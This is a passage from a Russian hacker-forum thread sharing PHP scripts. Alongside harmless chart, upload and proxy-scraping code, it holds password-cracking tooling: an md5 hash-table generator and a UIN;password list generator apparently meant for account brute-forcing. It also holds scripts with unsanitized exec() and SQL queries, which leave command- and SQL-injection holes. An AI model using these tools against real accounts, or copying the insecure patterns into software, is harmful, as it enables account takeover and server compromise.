Полезные скрипты

Discussion in 'PHP' started by SMiX, 2 Nov 2006.

  1. Ch3ck

    Ch3ck Elder - Старейшина

    Joined:
    9 Jun 2006
    Messages:
    1,363
    Likes Received:
    1,185
    Reputations:
    430
    Вот мой небольшой пример создания секторных диаграмм:
    PHP:
    <?php
    define
    ("HEIGHT",200);
    define("WIDTH",200);
    $data=array(10,5,20,40,10,15);
    $img=imagecreate(200200);
    $background=$white=imagecolorallocate($img0xFF,0xFF,0xFF);
    $black=imagecolorallocate($img000);
    $center_x=(int)WIDTH/2;
    $center_y=(int)HEIGHT/2;
    imagerectangle($img00WIDTH-1HEIGHT-1$black);
    $last=0;
    foreach(
    $data as $proc) {
    $len=(360*$proc)/100;
    imagefilledarc($img,
                   
    $center_x,
                   
    $center_y,
                   
    WIDTH-20,
                   
    HEIGHT-20,
                   
    $last,
                   (
    $last+$len),
                   
    $black,
                   
    IMG_ARC_EDGED IMG_ARC_NOFILL);
    $last +=$len;
    }
    header("Content-Type: image/png");
    imagepng($img);
    ?>
    И вот "цветастая, красивая" объёмная круговая диаграмма. Если раскометировать пару тройку строк, то будем с легендой.:
    PHP:
    <?

    // $im - идентификатор изображения
    // $VALUES - массив со значениями
    // $LEGEND - массив с подписями
    function Diagramm($im,$VALUES,$LEGEND) {
        GLOBAL 
    $COLORS,$SHADOWS;

        
    $black=ImageColorAllocate($im,0,0,0);

        
    // Получим размеры изображения
        
    $W=ImageSX($im);
        
    $H=ImageSY($im);

        
    // Вывод легенды #####################################

        // Посчитаем количество пунктов, от этого зависит высота легенды
        
    $legend_count=count($LEGEND);

        
    // Посчитаем максимальную длину пункта, от этого зависит ширина легенды
       
    $max_length=0;
       
    // foreach($LEGEND as $v) if ($max_length<strlen($v)) $max_length=strlen($v);

        // Номер шрифта, котором мы будем выводить легенду
       
    $FONT=2;
        
    $font_w=ImageFontWidth($FONT);
        
    $font_h=ImageFontHeight($FONT);

        
    // Вывод прямоугольника - границы легенды ----------------------------

        
    $l_width=($font_w*$max_length)+$font_h+10+5+10;
        
    $l_height=$font_h*$legend_count+10+10;


        
    // Получим координаты верхнего левого угла прямоугольника - границы легенды
        
    $l_x1=$W-10-$l_width;
       
    // $l_y1=($H-$l_height)/2;

        // Выводя прямоугольника - границы легенды
       // ImageRectangle($im, $l_x1, $l_y1, $l_x1+$l_width, $l_y1+$l_height, $black);

        // Вывод текст легенды и цветных квадратиков
       // $text_x=$l_x1+10+5+$font_h;
       // $square_x=$l_x1+10;
       /// $y=$l_y1+10;
    /*
        $i=0;
     foreach($LEGEND as $v) {
            $dy=$y+($i*$font_h);
            ImageString($im, $FONT, $text_x, $dy, $v, $black);
            ImageFilledRectangle($im,
                                 $square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1,
                                 $COLORS[$i]);
            ImageRectangle($im,
                           $square_x+1,$dy+1,$square_x+$font_h-1,$dy+$font_h-1,
                           $black);
            $i++;
            }
    */
        // Вывод круговой диаграммы ----------------------------------------

        
    $total=array_sum($VALUES);
        
    $anglesum=$angle=Array(0);
        
    $i=1;

        
    // Расчет углов
        
    while ($i<count($VALUES)) {
            
    $part=$VALUES[$i-1]/$total;
            
    $angle[$i]=floor($part*360);
            
    $anglesum[$i]=array_sum($angle);
            
    $i++;
            }
        
    $anglesum[]=$anglesum[0];

        
    // Расчет диаметра
        
    $diametr=$l_x1-10-10;

        
    // Расчет координат центра эллипса
        
    $circle_x=($diametr/2)+10;
        
    $circle_y=$H/2-10;

        
    // Поправка диаметра, если эллипс не помещается по высоте
        
    if ($diametr>($H*2)-10-10$diametr=($H*2)-20-20-40;

        
    // Вывод тени
        
    for ($j=20;$j>0;$j--)
            for (
    $i=0;$i<count($anglesum)-1;$i++)
                
    ImageFilledArc($im,$circle_x,$circle_y+$j,
                                   
    $diametr,$diametr/2,
                                   
    $anglesum[$i],$anglesum[$i+1],
                                   
    $SHADOWS[$i],IMG_ARC_PIE);

        
    // Вывод круговой диаграммы
        
    for ($i=0;$i<count($anglesum)-1;$i++)
            
    ImageFilledArc($im,$circle_x,$circle_y,
                               
    $diametr,$diametr/2,
                               
    $anglesum[$i],$anglesum[$i+1],
                               
    $COLORS[$i],IMG_ARC_PIE);
        }
    $an=0;
    $an1=1;
    $an2=2;
    $an3=3;
    $an4=4;
    $an5=5;
    $an6=6;
    // Зададим значение и подписи
    $VALUES=Array($an,$an1,$an2,$an3,$an4,$an5,$an6);
    $LEGEND=Array("Пон","Вт","Ср","Чет","Пят","Суб","AS");

    // Создадим изображения
    header("Content-Type: image/png");
    $im=ImageCreate(300,300);  // размеры

    // Зададим цвет фона.
    $bgcolor=ImageColorAllocate($im,255,255,255);

    // Зададим цвета элементов
    $COLORS[0] = imagecolorallocate($im2552033);
    $COLORS[1] = imagecolorallocate($im22010129);
    $COLORS[2] = imagecolorallocate($im1892451);
    $COLORS[3] = imagecolorallocate($im2140127);
    $COLORS[4] = imagecolorallocate($im98196);
    $COLORS[5] = imagecolorallocate($im062136);
    $COLORS[6] = imagecolorallocate($im0102179);
    $COLORS[7] = imagecolorallocate($im0145195);

    // Зададим цвета теней элементов
    $SHADOWS[0] = imagecolorallocate($im2051530);
    $SHADOWS[1] = imagecolorallocate($im170510);
    $SHADOWS[2] = imagecolorallocate($im13901);
    $SHADOWS[3] = imagecolorallocate($im164077);
    $SHADOWS[4] = imagecolorallocate($im48046);
    $SHADOWS[5] = imagecolorallocate($im01286);
    $SHADOWS[6] = imagecolorallocate($im052129);
    $SHADOWS[7] = imagecolorallocate($im095145);


    // Вызов функции рисования диаграммы
    Diagramm($im,$VALUES,$LEGEND);

    // Генерация изображения
    ImagePNG($im)
    ?>
     
    #21 Ch3ck, 19 Dec 2006
    Last edited: 19 Dec 2006
    1 person likes this.
  2. blaga

    blaga Elder - Старейшина

    Joined:
    23 Mar 2006
    Messages:
    884
    Likes Received:
    273
    Reputations:
    106
    Скрипт для добавления картинок на сайт(ваш естессно). Что он умеет:
    Вначале конечно инсталятор. Создает таблицы в базе, пишет конфиг.
    Затем само добавление. Во первых скрипт создает сам таблицы по категориям. Если нужно изменить категории то в сорцах все легко меняется. При добавлении, добавляет в базу свое непосредственное имя, имя которое будет отображаться на сайте(например "Супер тачка"), разрешение(1024х768), вес(300Бт, 214Кб, 1,2Мб), дату добавления и имя того кто добавил.
    Все параметры кроме пути к файлу и имени заполняются автоматом. Изображение копируется на сервер, на него наносятся две строчки(маленькие) с адресом сайта(нужно править в сорцах вручную). Так же создается превью. у превью точно такое же имя что и у оригинальной картинки, поэтому для его вывода стоит выводить имя оригинальной картинки. Соответственно большие картинки хранятся в папке img а маленькие в th Из фичей в нем стоит фильтр на загрузку только изображений(проверяет тип). И есть функция для правильного размера файла. Тоесть будет отображаться например 256kb, 1,2mb и так далее. Скрипт делал для себя так что извиняйте, функционал не очень. Собственно скачать. http://myreferat.jino-net.ru/add.rar
     
    2 people like this.
  3. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    генератор по нужным нам символам, в данном случае пасс:хеш(md5). поидее легко беределать под брутилку и т.д. и т.п.
    Автор Hidden
    PHP:
    <?php
    @set_time_limit(0);
    $charset='0123456789abcdefghijklmnopqrstuvwxyz~!@#$%^&*()_+=-`"№;:?';
    $minlen=1
    $maxlen=4
    $file=log;

    function 
    inc(&$arr,$charset){
      for(
    $n=count($arr)-1;$n>=0;$n--){
        
    $v=$arr[$n]+1;
        
    $arr[$n]=$v%strlen($charset);
        if(
    $arr[$n]==$v){
          break;
        }
      }
      foreach(
    $arr as $val){
        if(
    $val<strlen($charset)-1) return 0;
      }
      return -
    1;
    }

    function 
    arr2str($arr,$charset){
      
    $ret='';
      foreach(
    $arr as $val){
        
    $ret.=$charset[$val];
      }
      return 
    $ret;
    }
    $f fopen$file"w" );
    for(
    $len=$minlen;$len<=$maxlen;$len++){
      
    $line=array();
      for(
    $n=0;$n<$len;$n++){
        
    $line[]=0;
      }
      
    $ret=0;
      while(
    $ret==0){
        
    $ret=inc($line,$charset);
        
    $str=arr2str($line,$charset);
    echo 
    $str.':'.md5($str)."\r\n";
    fputs$f$str.':'.md5($str)."\r\n");

      }
    }
    fclose$f );
    ?>
     
    _________________________
    2 people like this.
  4. TANZWUT

    TANZWUT Крёстный отец :)

    Joined:
    22 Jun 2005
    Messages:
    1,474
    Likes Received:
    716
    Reputations:
    744
    PHP:
    <?php

    if (isset($HTTP_GET_VARS["dictgen"]))
    {
    if (!isset( 
    $HTTP_GET_VARS["listfile"] )) exit( "listfile not specified\r\n" );
    if (!isset( 
    $HTTP_GET_VARS["from"] )) exit( "from not specified\r\n" );
    if (!isset( 
    $HTTP_GET_VARS["to"] )) exit( "to not specified\r\n" );
    if (!isset( 
    $HTTP_GET_VARS["pass"] )) exit( "pass not specified\r\n" );
    if (!isset( 
    $HTTP_GET_VARS["mode"] )) exit( "mode not specified\r\n" );

    $fname $HTTP_GET_VARS["listfile"];
    $min $HTTP_GET_VARS["from"];
    $max $HTTP_GET_VARS["to"];
    $pass $HTTP_GET_VARS["pass"];
    $mode $HTTP_GET_VARS["mode"];

    switch (
    $mode) :
    case 
    "a" :
    $f fopen$fname"a" );
    break;

    case 
    "w" :
    $f fopen$fname"w" );
    break;

    default :
    {
    print 
    "What about mode ? a (append) or w (rewrite) ?\r\n";
    }
    endswitch;

    $f_pass fopen$pass"r" );

    while (
    $l fgets$f_pass50 )) :
    $l str_replace"\r\n"""$l );
    for (
    $i $min$i <= $max$i += 1):
    fputs$f$i.";".$l."\r\n" );
    endfor;
    endwhile;

    fclose$f );
    fclose$f_pass );

    if (
    $mode == "w")
    print 
    "Rewrite: ".$fname." with UINS from ".$min." to ".$max." and passes from ".$pass;
    else
    print 
    "Append: ".$fname." with UINS from ".$min." to ".$max." and passes from ".$pass;

    exit;
    }

    else

    if (isset(
    $HTTP_GET_VARS["singlegen"]))
    {
    if (!isset( 
    $HTTP_GET_VARS["listfile"]) ) exit( "listfile not specified\r\n" );
    if (!isset( 
    $HTTP_GET_VARS["from"]) ) exit( "from not specified\r\n" );
    if (!isset( 
    $HTTP_GET_VARS["to"]) ) exit( "to not specified\r\n" );
    if (!isset( 
    $HTTP_GET_VARS["pass"]) ) exit( "pass not specified\r\n" );
    if (!isset( 
    $HTTP_GET_VARS["mode"]) ) exit( "mode not specified\r\n" );

    $fname $HTTP_GET_VARS["listfile"];
    $min $HTTP_GET_VARS["from"];
    $max $HTTP_GET_VARS["to"];
    $pass $HTTP_GET_VARS["pass"];
    $mode $HTTP_GET_VARS["mode"];

    switch (
    $mode) :
    case 
    "a" :
    $f fopen$fname"a" );
    break;

    case 
    "w" :
    $f fopen$fname"w" );
    break;

    default :
    {
    print 
    "What about mode ? a (append) or w (rewrite) ?\r\n";
    }
    endswitch;

    for (
    $i $min$i <= $max$i += 1):
    fputs$f$i.";".$pass."\r\n" );
    endfor;

    fclose$f );

    if (
    $mode == "w")
    print 
    "Rewrite: ".$fname." with UINS from ".$min." to ".$max." and pass ".$pass;
    else
    print 
    "Append: ".$fname." with UINS from ".$min." to ".$max." and pass ".$pass;

    exit;
    }
    ?>
    Генератор UIN:pASS листа, автор KEZ если не ошибаюсь..
     
    _________________________
  5. Dracula4ever

    Dracula4ever Elder - Старейшина

    Joined:
    8 May 2006
    Messages:
    418
    Likes Received:
    183
    Reputations:
    26
    Это PHP скрипт, который включает следующи утилиты: whois, finger, и traceroute.


    PHP:
    <?PHP
    // whois(hostname [,username, [port]])
    Function whois ($a_server$a_query=""$a_port=43) {
        
    $sock fsockopen($a_server$a_port, &$errno, &$errstr10);
        if (!
    $sock)
        {
            echo 
    "$errstr ($errno)<BR>\n";
        } else {
            
    fputs($sock"$a_query\r\n");
            while(!
    feof($sock))
            {
                
    $buf fgets($sock,128);
                if (
    ereg"Whois Server:"$buf))
                {
                    
    $a_server str_replace"Whois Server: ",  ""$buf);
                    
    $a_server trim($a_server);
                }
            }
            
    fclose($sock);
            
            if (
    $a_server)
            {
                print 
    "<B>$a_query is registered at $a_server:</B><BR>";
                
    $sock fsockopen($a_server43, &$errno, &$errstr10);
                if(!
    $sock)
                {
                    echo 
    "Could not open connection to $a_server on port 
    $a_port.\n";
                    echo 
    "$errstr ($errno)<BR>\n";
                } else {
                    
    fputs($sock"$a_query\r\n");
                    while(!
    feof($sock))
                    {
                       echo 
    fgets($sock,128);
                    }
                    
    fclose($sock);
                }
            } else {
                echo 
    "<b>$a_query was not found.</b><BR>";
            }
        }
    }


    // finger(hostname [,username, [port]])
    Function finger ($a_server$a_query=""$a_port=79) {
        
    $sock=fsockopen($a_server,$a_port, &$errno, &$errstr10);
       if (!
    $sock)
       {
            
    $ret_str "$errstr ($errno)<BR>\n";
       } else {
            
    fputs($sock,"$a_query\n");
            while (!
    feof($sock)) { $ret_str .= fgets($sock,128); }
            
    fclose($sock);
        }
        echo 
    $ret_str;
        return 
    $ret_str;
    }


    // traceroute(hostname)
    Function traceroute ($a_query) {
        
    exec("traceroute $a_query",$ret_strs);
        
    $str_count count($ret_strs);
        for (
    $count=0$count $str_count$count++)
            print 
    "$count/$str_count".$ret_strs[$count]."\n";
    }


    // -----------------------------------------------------------


    $app_name "PHP Net Toolpack";
    $app_version "0.1";

    $TOOLS = array(
        
    "finger" => "Finger",
        
    "traceroute" => "Traceroute",
        
    "whois" => "Whois?"
    );

    // when included inside <select name="tool"> on a html file ..
    if ($tool=="listtools")
    {
        while (list(
    $key$val) = each($TOOLS)) {
            print 
    "    <OPTION VALUE=\"".$key."\">".$val."</OPTION>\n";
        }
        exit;
    }

    // print appropriate html header
    print "<HTML>";
    if (
    $tool)
    {
        print 
    "<HEAD><TITLE>".$tool." for ".$query."</TITLE></HEAD>\n";
        print 
    "<BODY>\n<H3>".$tool." for ".$query." ..</H3>\n";
    } else {
        print 
    "<HEAD><TITLE>".$app_name."</TITLE></HEAD>\n";
        print 
    "<BODY>\n<H3>".$app_name."</H3>\n";
    }

    // check what tool they want to use and do what is necessary
    switch($tool) {
    case 
    "finger":
        if (
    $query)
        {
            print 
    "<PRE>\n";
            
    finger($server$query);
            print 
    "</PRE>";
        } else {
       
    ?>

       <FORM ACTION="<?PHP echo($PHP_SELF"?tool=".$tool); ?>" METHOD="post">
       Server : <INPUT TYPE="text" NAME="server" VALUE="localhost"> <BR>
       Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR>
       <INPUT TYPE="submit" VALUE="Finger">
       </FORM>

       <?PHP
        
    }
        break;

    case 
    "traceroute":
        if (
    $query)
        {
            print 
    "<PRE>\n";
            
    traceroute($query);
            print 
    "</PRE>";
        } else {
       
    ?>

       <FORM ACTION="<?PHP echo($PHP_SELF"?tool=".$tool); ?>" METHOD="post">
       Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR>
       <INPUT TYPE="submit" VALUE="Trace route">
       </FORM>

       <?PHP
        
    }
        break;


    case 
    "whois":
        if (
    $query)
        {
            print 
    "<PRE>\n";
            
    whois($server,$query);
            print 
    "</PRE>";
        } else {
        
    ?> 

        <!--    <UL>
        To look up a NIC handle, host name, or registrant,
        use one of the keywords below:<BR>
        <LI>To search by NIC handle (or contact), type "handle WA3509"</LI><BR>
        <LI>To search by name, type "name lastname, firstname" </LI><BR>
        <LI>To search by company name, type "name The Sample Corporation" </LI><BR>
        <LI>To search by domain name, type "example.com" </LI><BR>
        <LI>To search by IP address, type "host 121.23.2.7" </LI><BR>
        <LI>To search by host or nameserver name, type "host ns1.worldnic.com" 
    </LI><BR>
        (examples are from networksolutions.com)
        </UL> -->

        <FORM ACTION="<?PHP echo($PHP_SELF"?tool=".$tool); ?>" METHOD="post">
        This will find .com, .org, and .net domains<BR>
        Server : <INPUT TYPE="text" NAME="server" VALUE="rs.internic.net"> <BR>
        Query : <INPUT TYPE="text" NAME="query" SIZE="40" MAXLENGTH="100"> <BR>
        <INPUT TYPE="submit" VALUE="<?PHP echo $TOOLS[$tool]; ?>">
        </FORM>

        <?PHP
        
    }
        break;

    default:
        print 
    "<UL>Currently supported tools are:\n";
        while (list(
    $key$val) = each($TOOLS)) {
            echo 
    "<LI><A HREF=\"".$PHP_SELF."?tool=".$key."\">".$val."</A></LI>\n";
        }
        print 
    "</UL>\n";
        break;
    }

    print 
    "\n<HR><SMALL>".$app_name." v".$app_version."</SMALL>\n";
    print 
    "<BODY>\n</HTML>";

    ?>
     
  6. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    Мой скрипт для скачивания файла с одного сервера на фтп другого

    Code:
    <?php
    echo '<html>
    <head>
    <title></title>
    <style>
    body
    {
    	background-color: #1a1a1a;
    }
    table
    {
    	border: 1px #333333 solid;
    }
    td,th
    {
    	font-size: 10px;
    	font-family: verdana, tahoma;
    	color: #666666;
    	background-color: #1a1a1a;
    	border: 0px #333333 solid;
    }
    input
    {
    	font-family: verdana, tahoma;
    	font-size: 10px;
    	color: grey;
    	background-color: #1a1a1a;
    	border: 1px #333333 solid;
    }
    a
    {
    	font-size: 10px;
    	text-decoration: none;
    	color: grey;
    }
    </style>
    </head>
    <table border="0" width="600" align="center">
    <form action="" method="post">
    <tr>
    <td colspan="2" align="center">
    <b>Скрипт для скачивания файла с одного сервера на фтп другого</b>
    </td>
    </tr>
    <tr>
    <td colspan="2" align="center"><b>Основные настройки</b></td>
    </tr>
    <tr>
    <td>Файл для скачивания</td>
    <td><input type="text" name="file" size="50" value="file.sql"></td>
    </tr>
    <tr>
    <td>Путь до директории с файлом относительно сайта</td>
    <td><input type="text" name="path" size="50" value="/downloads"></td>
    </tr>
    <tr>
    <td>Хост, с которого будем сливать файл</td>
    <td><input type="text" name="host" size="50" value="server.ru"></td>
    </tr>
    <tr>
    <td colspan="2" align="center"><b>Настройки FTP</b></td>
    </tr>
    <tr>
    <td>FTP хост, на который будем заливать файл</td>
    <td><input type="text" name="ftphost" size="50" value="ftp.server.ru"></td>
    </tr>
    <tr>
    <td>FTP логин</td>
    <td><input type="login" name="login" size="50" value="ftpuser"></td>
    </tr>
    <tr>
    <td>FTP пароль</td>
    <td><input type="pass" name="pass" size="50" value="ftppass"></td>
    </tr>
    <tr>
    <td colspan="2" align="center"><input type="submit" value="Отправить"></td>
    </tr>
    <tr>
    <td colspan="2" align="center">
    Coded by <b>p-range</b> - <a href="http://cf-team.net">cf-team.net</a>, 
    <a href="http://p-range.info">p-range.info</a></td>
    </tr>
    </form>
    </table>';
    if(isset($_POST['file']) && isset($_POST['path'])
    	&& isset($_POST['host']) && isset($_POST['ftphost'])
    	&& isset($_POST['login']) && isset($_POST['pass']))
    {
    $file = $_POST['file']; // файл для скачивания
    $path = $_POST['path']; // путь до директории с файлом относительно сайта
    $host = $_POST['host']; // Хост, с которого будем сливать файл
    $ftphost = $_POST['ftphost']; // FTP хост, на который будем заливать файл
    $login = $_POST['login']; // FTP логин
    $pass = $_POST['pass']; // FTP пароль
    // открыли соединение
    $so = fsockopen($host, 80, &$errno, &$errstr, 30);
    // послали GET форму (простой URL + указание вирт. хоста)
    fputs($so,"GET $path/$file HTTP/1.0\nHOST: $host\n\n");
    
    // читаем все, пока не наступит "конец заголовка" (т.е. начало документа)
    // если наступит, то со след. байта начнется документ
    while(fgets($so,2048)!="\r\n" && !feof($so));
    
    unset($buf);
    // читаем документ в переменную
    while(!feof($so)) $buf.=fread($so,2048);
    // Готово. В переменной $buf храниться скаченный документ (т.е. файл)
    // Максимум можно читать порциями по 64K-1байт
    
    // закрываем сокет
    fclose($so);
    echo "Download file, size ".strlen($buf)." bytes.<br>"; flush();
    
    // используем скаченный файл (в переменной) по назначению...
    $f=fopen($file,"wb+");
    fwrite($f,$buf,strlen($buf));
    fclose($f);
    
    $ftp = ftp_connect($ftphost);
    if($ftp)
    {
    	@$res = ftp_login($ftp,$login,$pass);
    	if($res)
    	{
    		$fp = fopen($file, "r");
    		$fput = ftp_fput($ftp, $file, $fp, FTP_BINARY);
    		fclose($fp);
    		if(!$fput)
    		{
    			echo "<font color='#cc1233'>Error transfering</font>";
    			ftp_quit($ftp);
    		}
    		else
    		{
    			echo "<font color='#666666'>Success transfering <b>".$file."</b></font>";
    		}
    	}
    	else
    	{
    		echo "<font color='#cc1233'>Error login</font>";
    		ftp_quit($ftp);	
    	}
    }
    }
    ?>
    Скачать можно отсюда:
    http://p-range.info/pub/transfer.zip
     
    1 person likes this.
  7. GHostly_FOX

    GHostly_FOX Elder - Старейшина

    Joined:
    4 Jan 2007
    Messages:
    34
    Likes Received:
    15
    Reputations:
    0
    На форуме Хакер.РУ была тема по блокировки копирования изображения с сайта (ну конечно от ПринтСкрина ничто не спасет но все-же)... Вот мой код для решения этой проблеммы:

    Это код который будет использоватся на сайте для отображения изображения:
    PHP:
    <div style="position: relative; width: 480px">
    <
    table width="480" height="324" cellspacing="0" cellpadding="0" style="position: absolute; color: #F0F0F0"><tr>
    <
    td style="padding: 10px 10px;" align="left" valign="top">
    Тут некоторый текстк примеру описание
    </td>
    </
    tr></table>
    <
    img src="images.php?f=1" width="480" height="324">
    </
    div>
    А вот код файла images.php

    PHP:
    <?php
    /*Тут организовать подключение к базе MySQL*/
    $width=(isset($_GET['w']))?$_GET['w']:0;
    $height=(isset($_GET['h']))?$_GET['h']:0;
    $sql    =    mysql_query("SELECT * FROM images WHERE id='".$_GET['f']."'");//$_GET['f'] в данном случае служит как номер изображения в базе
    $res    =    mysql_fetch_array($sql);
    $ffile    =    $res['images'];
    header('(anti-spam-content-type:) image/jpeg');
    list(
    $widthorig$heightorig) = getimagesize($ffile);
    if(!
    $width && !$height){
        
    $width    =    $widthorig;
        
    $height    =    $heightorig;
    }
    if(
    $width && !$height){
        
    $width    =    ($width $widthorig) ? $widthorig $width;
        
    $height    =    ($width $widthorig) ? $heightorig : ($heightorig $widthorig) * $width;
    }
    if(
    $height && !$width){
        
    $height    =    ($height $heightorig) ? $heightorig $height;
        
    $width    =    ($height $heightorig) ? $widthorig : ($widthorig $heightorig) * $height;
    }
    $extn=explode(".",$ffile);
    $i=count($extn);
    $ext=strtolower($extn[$i-1]);
    $imagep imagecreatetruecolor($width$height);
    if(
    $ext=="jpg")$image=imagecreatefromjpeg($ffile);
    if(
    $ext=="png")$image=imagecreatefrompng($ffile);
    if(
    $ext=="gif")$image=imagecreatefromgif($ffile);
    imagecopyresampled($imagep$image0000$width$height$widthorig$heightorig);
    imagejpeg($imagepnull100);
    ?> 
    (C) Для создания кода иследовался код сайта www.drive.ru и PHP Class Resize взятый с сайта: phpclasses.segmenta.ru
     
  8. NOmeR1

    NOmeR1 Everybody lies

    Joined:
    2 Jun 2006
    Messages:
    1,068
    Likes Received:
    783
    Reputations:
    213
    2 people like this.
  9. nc.STRIEM

    nc.STRIEM Members of Antichat

    Joined:
    5 Apr 2006
    Messages:
    1,036
    Likes Received:
    347
    Reputations:
    292
    Парсер проксей с сайта http://proxy4free.com
    Все прокси разделяються на 3 группы: Transparent, Anonymous, High anonymity.
    Пример работы скрипта: http://striem.org/proxy/
    PHP:
    <?
    /*    www.proxy4free.com  -  GRABER     (c) nc.STRIEM*/
    $transparent=array();
    $anonymous=array();
    $high_anonymity=array();
    echo 
    "<center><a href='http://proxy4free.com' target=n><b>http://proxy4free.com</b></a><br>All: <a href='proxy.txt' target=n>proxy.txt</a></center>";
    function 
    parsproxy($res)
    {
      global 
    $fr,$transparent,$anonymous,$high_anonymity,$elsepr;
      
    $strtof='<tr bgcolor="#ffffff" class="text" height=10>';
      
    $razd=':';
      
    $razm=sizeof($res);
      for(
    $i=0;$i<$razm;$i++)
      { 
         if(
    strstr($res[$i],$strtof))
         {
             
    $i++;
             
    $p=split('>',$res[$i]);
             
    $p=split('<',$p[1]);
             
    $proxres=$p[0].$razd;
             
    $i++;
             
    $p=split('>',$res[$i]);
             
    $p=split('<',$p[1]);
             
    $proxres.=$p[0];
             
    $i++;
             
    $p=split('>',$res[$i]);
             
    $p=split('<',$p[1]);
             if(
    strstr($p[0],"anonymous"))
               
    $anonymous[sizeof($anonymous)]=$proxres;
             elseif(
    strstr($p[0],"high"))
               
    $high_anonymity[sizeof($high_anonymity)]=$proxres;
             else 
    $transparent[sizeof($transparent)]=$proxres;
           }
      }
    }
     
     
    $fs=fsockopen("www.proxy4free.com",80);
    fwrite($fs,"GET http://proxy4free.com/page1.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
    $ans='';
    while(!
    feof($fs))
       
    $ans.=fgets($fs); 
    $res=split("\n",$ans);
    parsproxy($res);
    fclose($fs);

    $fs=fsockopen("www.proxy4free.com",80);
    fwrite($fs,"GET http://proxy4free.com/page2.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
    $ans='';
    while(!
    feof($fs))
       
    $ans.=fgets($fs); 
    $res=split("\n",$ans);
    parsproxy($res);
    fclose($fs);

    $fs=fsockopen("www.proxy4free.com",80);
    fwrite($fs,"GET http://proxy4free.com/page3.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
    $ans='';
    while(!
    feof($fs))
       
    $ans.=fgets($fs); 
    $res=split("\n",$ans);
    parsproxy($res);
    fclose($fs);

      
    $fo=fopen("proxy.txt","w");
    echo 
    "<table border=0 colspan=2 rowspan=2 align=center><tr><td align=center valign=top><fieldset><legend><b>Transparent:</b>".sizeof($transparent)."</legend>"
       for(
    $i=0;$i<sizeof($transparent);$i++)
           {
    fwrite($fo,$transparent[$i]."\n");
           echo 
    $transparent[$i]."<br>";}
    echo 
    "</fieldset></td><td align=center valign=top><fieldset><legend><b>Anonymous:</b>".sizeof($anonymous)."</legend>";  
        for(
    $i=0;$i<sizeof($anonymous);$i++)
        {
    fwrite($fo,$anonymous[$i]."\n");
            echo 
    $anonymous[$i]."<br>";}
    echo 
    "</fieldset></td><td align=center valign=top><fieldset><legend><b>High anonymity:</b>".sizeof($high_anonymity)."</legend>"
        for(
    $i=0;$i<sizeof($high_anonymity);$i++)
            {
    fwrite($fo,$high_anonymity[$i]."\n");
            echo 
    $high_anonymity[$i]."<br>";}
    echo 
    "</fieldset></td></tr></table>"
      
    fclose($fo);  
     
    ?>
     
    #29 nc.STRIEM, 14 Jan 2007
    Last edited: 15 Jan 2007
    1 person likes this.
  10. Robin_Hood

    Robin_Hood Elder - Старейшина

    Joined:
    30 Oct 2006
    Messages:
    144
    Likes Received:
    155
    Reputations:
    47
    Code:
    <?php
    $directories = glob("/tmp/*", GLOB_ONLYDIR);
    $complete = glob("/tmp/*");
    $files = array_diff($directories, $complete);
    
    echo "каталоги в /tmp/<BR>";
    
    foreach($directories as $val) {
    echo "$val<BR>\n";
    }
    echo"<BR>Файлы в /tmp/<BR>";
    
    foreach($files as $val) {
    echo "$val<BR>\n";
    }
    
    показывает все файлы и папки с каталога тмп(вместо него указываем домашнюю директорию)
    (для составления списка самых распространенных директорий)
     
    2 people like this.
  11. gizmo

    gizmo Elder - Старейшина

    Joined:
    21 Dec 2006
    Messages:
    126
    Likes Received:
    28
    Reputations:
    9
    Parse error: syntax error, unexpected T_STRING, expecting ',' or ';' in public_html/test.php on line 9
     
  12. p-range

    p-range Elder - Старейшина

    Joined:
    5 Feb 2006
    Messages:
    137
    Likes Received:
    145
    Reputations:
    118
    2gizmo
    Code:
    global $fr,$transparent,$anonymous,$high_anonymity,$elsepr;
    девятая строка
     
    1 person likes this.
  13. banned

    banned Banned

    Joined:
    20 Nov 2006
    Messages:
    3,324
    Likes Received:
    1,193
    Reputations:
    252
    Code:
    <?
    /*    www.proxy4free.com  -  GRABER     (c) nc.STRIEM*/
    $transparent=array();
    $anonymous=array();
    $high_anonymity=array();
    echo "<center><a href='http://proxy4free.com' target=n><b>http://proxy4free.com</b></a><br>All: <a href='proxy.txt' target=n>proxy.txt</a></center>";
    function parsproxy($res)
    {
      global $fr,$transparent,$anonymous,$high_anonymity,$elsep;
      $strtof='<tr bgcolor="#ffffff" class="text" height=10>';
      $razd=':';
      $razm=sizeof($res);
      for($i=0;$i<$razm;$i++)
      {
         if(strstr($res[$i],$strtof))
         {
             $i++;
             $p=split('>',$res[$i]);
             $p=split('<',$p[1]);
             $proxres=$p[0].$razd;
             $i++;
             $p=split('>',$res[$i]);
             $p=split('<',$p[1]);
             $proxres.=$p[0];
             $i++;
             $p=split('>',$res[$i]);
             $p=split('<',$p[1]);
             if(strstr($p[0],"anonymous"))
               $anonymous[sizeof($anonymous)]=$proxres;
             elseif(strstr($p[0],"high"))
               $high_anonymity[sizeof($high_anonymity)]=$proxres;
             else $transparent[sizeof($transparent)]=$proxres;
           }
      }
    }
    
     $fs=fsockopen("www.proxy4free.com",80);
    fwrite($fs,"GET http://proxy4free.com/page1.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
    $ans='';
    while(!feof($fs))
       $ans.=fgets($fs);
    $res=split("\n",$ans);
    parsproxy($res);
    fclose($fs);
    
    $fs=fsockopen("www.proxy4free.com",80);
    fwrite($fs,"GET http://proxy4free.com/page2.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
    $ans='';
    while(!feof($fs))
       $ans.=fgets($fs);
    $res=split("\n",$ans);
    parsproxy($res);
    fclose($fs);
    
    $fs=fsockopen("www.proxy4free.com",80);
    fwrite($fs,"GET http://proxy4free.com/page3.html HTTP/1.0\r\nHost: proxy4free.com\r\n\r\n");
    $ans='';
    while(!feof($fs))
       $ans.=fgets($fs);
    $res=split("\n",$ans);
    parsproxy($res);
    fclose($fs);
    
      $fo=fopen("proxy.txt","w");
